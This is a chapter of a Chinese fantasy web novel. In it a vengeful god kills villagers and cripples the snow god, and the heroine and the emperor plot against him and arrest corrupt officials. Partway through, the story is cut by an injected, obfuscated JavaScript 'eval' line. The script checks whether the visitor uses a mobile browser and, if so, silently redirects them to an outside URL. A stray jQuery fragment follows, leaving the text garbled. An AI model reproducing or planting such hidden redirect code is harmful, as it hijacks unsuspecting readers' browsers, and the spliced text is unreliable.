36. 雪山
作品:《神女她只想斩神》 息神雪山。
雪神躺在林中饮酒,无尽的大雪从空中飘下,至山顶往下流淌的河流被冰封凝结,雪神看起来心情不错,他一挥袖,雪下的更大了。
苍茫雪地中莫名出现了一串脚印。
雪神懒散地坐了起来,斜靠在一棵枯树树干上打量着来人。
雪神:“你怎么又来了,今早我为你在本该无雪的江南下了场雪还不够吗?还是说你那个妻子又想看什么?”
荣神表情丧丧:“我的妻子死了。”
“啊?”雪神猛地从雪地里站了起来,“怎么死的?”
荣神:“我寻不到她的气息了,上天入地,都没有了她的踪迹,她定然是不在人世了。”
雪神没死过妻子,没法感同身受,一时不知该怎么安慰他,“那什么……反正你也还年轻,你再找一个呗……”
闻言荣神突然发怒:“你说什么!瑶娘是我唯一的妻子!”
雪神被他这一吼吓了一跳,他身后枯树枝上的积雪也被震地掉落下来。
雪神虽然觉得那个瑶娘忍受不了这个疯子跑了的可能性更大,但没办法他还得安慰安慰荣神。
雪神绞尽脑汁,半晌才问:“那……我去祭拜一下她?给她上点贡品?”
荣神一脚踢碎凝结的积雪,雪花溅了很远,他捏紧了拳头道:“我要他们付出代价!”
雪神其实也受不了面前这个疯子了,他努力摆出笑意问:“什么代价……”
荣神:“你知道瑶娘死的有多惨吗?雨神庙起火了……她被活活烧死了,她以前最爱美,但她被烧的我都认不出她的面貌了……”
荣神的声音听起来很沧桑:“我当时看到瑶娘的尸体,我都不敢认她,我不相信那是瑶娘,我……我到处找她,可什么都没找到……”
雪神:“然后呢?”
“我回到我和瑶娘的家时,那群刁民居然还围在门前要银子,说是他们救出了瑶娘的尸体,明明就是因为他们救火不及时瑶娘才出事的!”
荣神一拳打在雪神身后的树干上,雪神这才注意到荣神的手上还有没清理干净的血迹,他问道:“所以你杀了他们?”
荣神:“那是他们该死!”
荣神的表情近乎疯癫,他按住雪神的肩头:“你帮帮我,那群人害死了瑶娘,我要他们都陪葬,你去江南连下一个月的大雪,冻死他们,好不好?”
雪神心里一惊,江南是个温暖富饶之地,几年都不会下一场雪,今早他在江南下了一场雪就已经是违背天意了,如今荣神居然想要下一整个月的暴雪,靠天灾冻死江南人?
更何况江南全年气候适宜,因此并无什么御寒设施,普通百姓家中连厚棉衣都不曾有,一月暴雪,届时运河都会被冰封,波及的就不只有江南了,彼时无论是人,还是牲口,抑或是庄稼地都活不下来。
“你这……”雪神犹豫开口:“这不符合天意……”
荣神笑地狰狞:“什么天意,你就是天意!不是吗?”
“别了,祝兄,若是天尊怪罪,我可受不起。”
荣神目光变得阴狠:“这么说,你不帮我是吧?”
雪神后退一步撞在那枯木上,树枝上的雪被震地掉落了下来,劈头盖脸砸在雪神头上,他掸掉头上身上的雪,犹豫开口:“这不是我帮不帮你的问题……”
话还没说完,突然,荣神突然掐上了雪神的脖子!
“你……”雪神的脸涨得通红,他双手反掐上荣神的手臂试图反抗,但他只是个掌管风雪的神仙,并无什么信徒,因此法力低微,而荣神不同,普天之下都是他的信徒!
他根本没法跟荣神抗衡!
荣神手一用力,雪神感受到一股强大的法力涌入自己的身体,在自己的身体里炸开,他被憋的说不出话来。
“你……”
雪神刚要求饶就被荣神提起来扔进了苍茫雪地里,这一下力道太重,雪神彻底昏死过去,荣神朝着雪神砸出来的雪坑催动法力,雪鉴从雪神的体内飞出!
雪鉴是控制人间风雪的神器,早就融入了雪神的骨血,如今被荣神生生剖出,雪神以后便彻底废了。
荣神朝着雪神栽倒的方向嗤笑一声,笑他不自量力,接着就朝南方飞去。
荣神并没有看到自己走后,雪神从雪坑里慢慢爬出来,目光凶狠地看着自己离去的方向。
……
林与看着窗外苍茫的大雪出神,傅明走进来。
“在想什么?”
林与随意转着弑神锥:“没有。”
林与:“路瑶找到了吗?”
傅明摇头:“暂时还没有消息。”
林与撑着下巴想了想,路瑶毫无疑问是死了的,但当时林与忽略了,为了操控路瑶,林与给路瑶喂下了那枚威力最强的续魂丹。
那就只有一种可能,路瑶死了,但续魂丹救了她,她得以复生,从死人堆里爬走了。
续魂丹是林与喂的,路瑶既成了复生人,那她就得一直听林与的操控,因而不足为惧。
窗外大雪纷飞,派人将奴奴先行送回皇城后,一时无事可做,周玉和张玉林还不曾回来,于是林与和傅明坐在窗边下起了棋。
“江南有多久没下过雪了?”林与突然问。
傅明摆棋的手一顿,随之也看向窗外,“约莫七八年吧,没曾想今年竟接连下了两场雪。”
傅明:“瑞雪兆丰年,明年会是个丰收的好年。”
屋内的炭火燃烧起暖意,两人并不在意输赢,因此明明很快就能分出胜负的棋盘一直剑走偏锋,无限地拖延下去。
林与无意问道:“造假案如今查的怎样了?”
傅明喝了口茶:“人倒是都抓起来了,还没审完,但荣神这番举动终究是祸及了江南百姓的根基,经济一时难以复苏。”
林与:“那就让财神把吞走的财运都吐出来,如何?”
傅明一怔,没明白林与的意思,“怎么吐?”
“我们杀了荣神。”林与的视线直勾勾地看着傅明,屋内此时已经有些热了,林与的脸被炭火烤的有些红,但她的眼神却很坚定。
林与又重复了一遍:“杀了荣神,百姓的财运就能恢复了。”
这确实是目前看来最快速有效的方法,只是危险重重,傅明:“□□神是这天底下信徒最多的神仙,我们一时半会解决不了他。”
林与倒是有些诧异,她原本以为傅明会否定自己的想法,凡人弑神,听起来像是痴人说梦。
但凡林与对面坐的不是傅明,随便换一个人估计都会觉得林与疯了。
林与扬起嘴角:“那又如何,我手上不仅有弑神锥,我还有一个路瑶。”
虽然说路瑶还没找到吧,但她一个复生人能跑多远,林与总会将路瑶找回来的。
而路瑶是荣神生命中唯一的变数。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912142|188404||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
傅明还在思考,林与看着棋盘落下一子,她对傅明说:“你输了。”
傅明这才回过神来看向棋盘,他对上林与的视线:“嗯,我输了。”
林与:“走吧!”
“去哪?”
“出去走走。”林与朝傅明伸手,傅明轻轻拉了一把林与的手站起来,跟着林与往外走。
一出门,踏进厚重的雪里,林与才发觉这雪竟已堆积了十几寸高,寒风硕雪中,一黑一白两个人影慢悠悠地往前走去。
……
两人在街上随意走着,风雪太大了,天寒地冻,外面并没有什么人,走着走着,林与看到了熟悉的风景,是金河。
远远望去,金河之上结了一层厚厚的冰层,金河的河水已经不再流淌了。
“怎么会……”
林与快步朝金河边走去,她的瞳孔微缩,金河河面被冻住了!
南方本就下雪次数少,更别提如今的大雪,且从未出现过河水被冰封的情况!
林与下意识就走上冰层,跟在身后的傅明眼疾手快一把将林与拽回来。
傅明:“小心些,冰层可能没冻严实。”
林与扶着傅明的肩膀踩上冰层,林与踩上去试了试,接着就整个人走上了冰面,傅明在旁边小心翼翼地看着林与脚底的河面。
林与跺了跺脚才对傅明说:“下面全都冻住了。”
“上来吧,小心受寒。”傅明掌心向上朝着林与。
林与很自然的搭上他温热的掌心回到了河岸边。
林与:“你还记得我曾说过,江南的百姓们因财神而穷困潦倒,难以生存吗。”
傅明轻轻“嗯”了一声,将林与冰凉的手心揣进自己的掌心,“冷吗?”
林与的手上还有些未愈合的伤痕,是和路瑶周旋拖延时间时被门缝夹的。但傅明不知道这个伤是怎么来的,他也一直没有开口问。
林与原本正蹙眉沉思,听傅明这么问,她才发觉两人的距离有些过于近了,林与突然觉得浑身一阵不自在,忽地将手抽走。
傅明掌心一空,收回了手,两人都没再提这件事。
林与看向远方,那些被祸害的百姓们怎么过这个冬呢…
林与突然脑中灵光乍现,她看向傅明:“江南的贪官污吏都有哪些?”
傅明:“问这个做什么?”
林与脸上突然浮现出高兴的神色:“陛下,您都亲自微服私访了,干脆趁这个机会把那些蛇鼠一窝的东西都查办了吧?”
傅明:?
……
郡守府衙中,一箱箱财物被金吾卫抬出,堂前白雪苍苍,郡守宅院中的家丁被捆了手脚整整齐齐跪在大雪里。
傅明坐在主坐上撑着下巴饶有兴趣地看着堂前的罪臣们。
林与一边清点着赃物一边感叹这郡守这么能贪,这些钱应该够补贴给百姓们了。
郡守是个年过五十白发苍苍的老头,他跪在地上阴沉着脸一言不发,眼睁睁地看着自己多年积累的财宝被充公。
林与路过郡守身边,郡守不知道林与是什么人,他眼神怨毒地盯着林与,满脸都写着不服。
林与察觉到这道视线转过头来,“你……”
瞧着被发现了,郡守突然跪直了身体,他蓦地低下头不敢看林与。
堂外突然有人来报:“启禀陛下,谢家的小少爷找到了!如今已经关押在地牢。”

